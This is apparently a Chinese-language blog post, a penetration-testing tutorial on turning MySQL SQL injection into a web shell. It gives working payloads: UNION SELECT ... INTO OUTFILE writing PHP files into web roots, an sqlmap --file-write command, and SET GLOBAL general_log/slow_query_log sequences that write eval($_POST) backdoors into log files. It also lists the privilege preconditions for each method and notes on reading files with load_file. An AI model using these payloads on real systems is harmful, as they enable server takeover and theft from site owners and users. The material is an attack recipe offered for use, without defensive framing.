返回
Featured image of post MySQL 注入写 shell

MySQL 注入写 shell

go!

MySQL注入写shell

into outfile写shell

outfile()

dumpfile()

注意点

  • 二者函数的路径不支持hex和char转换,必须由引号包裹

  • outfile函数可以导出多行,dumpfile函数只能导出一行数据

  • outfile函数在将数据写到文件里时有特殊的格式转换,dumpfile函数保持原数据格式

    比如:写入a\naa\raaa

    outfile会在将"\n"转义,并且在文件末尾新加入一行,结果为4行;而dumpfile则是原格式写入,没有转义,没有新增行,结果为三行

  • 写入路径中指定的文件必须不存在,即无法覆盖写入

前提条件

1. file_priv

代表用户所具有的文件操作权限

2. secure_file_priv

代表mysql服务器所具有的文件操作权限

其值在mysql配置文件my.ini中设置,用作限制导入导出

  • mysql>=5.5.53默认为NULL,即默认禁止导入导出
  • mysql<5.5.53默认为空,即默认无限制
  • 当其值=某目录时,即仅允许在该目录下导入导出

查看secure_file_priv

3. 知晓绝对路径且有写权限

利用

# SQL
?id=-1' union select '<?php phpinfo(); ?>' into outfile '/var/www/html/shell.php';

?id=1 limit 1 into outfile 'C:/wamp64/www/work/shell.php' lines terminated by '<?php phpinfo() ?>';
# sqlmap
sqlmap -u "http://x.x.x.x/?id=x" --file-write="/tmp/shell.php" --file-dest="/var/www/html/test/shell.php"

注意:

一般情况下,Linux系统中MySQL用户不拥有站点根目录的写权限,所以无法写入;在Windows环境下成功率更高。

日志写shell

MySQL 5.0 版本以上会创建日志文件,因此可通过修改日志的全局变量来 getshell

注意点

日志路径可hex,但是写入日志的内容必须引号包裹,如果内容中被转义加上反斜杠\,传至数据库会报错

前提条件

  • 绝对路径

  • file_priv

  • 不受secure_file_priv限制了

  • mysql用户有权限开启日志记录和更换日志路径

默认路径中如果是文件的相对路径,一般指在MySQL安装目录下生成

利用

mysql日志:错误日志、查询日志、慢查询日志、事务日志、二进制日志

其中可利用的为:慢查询日志和查询日志

慢查询日志

记录查询时间超过指定时间(默认10s)的日志

set global slow_query_log=1;
set global slow_query_log_file='xxx/logshell.php';
select "<?php eval($_POST[log]);?>" from xxx where sleep(11);

查询日志

set global general_log='on';
set global general_log_file='xxx/shell.php';
select '<?php @eval($_POST["log"]); ?>';

注意:

该文件虽然可写入,但创建者是mysql用户

假设该文件是.php,访问该文件会出现500状态码,所以大多数在Windows上会成功,而Linux基本不行。

读文件

注意点

load_file函数中的路径可以是单引号或0x、char转换的字符,但是路径中的斜杠是/而不是\

前提条件

所读文件的绝对路径

secure_file_priv

file_priv

Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy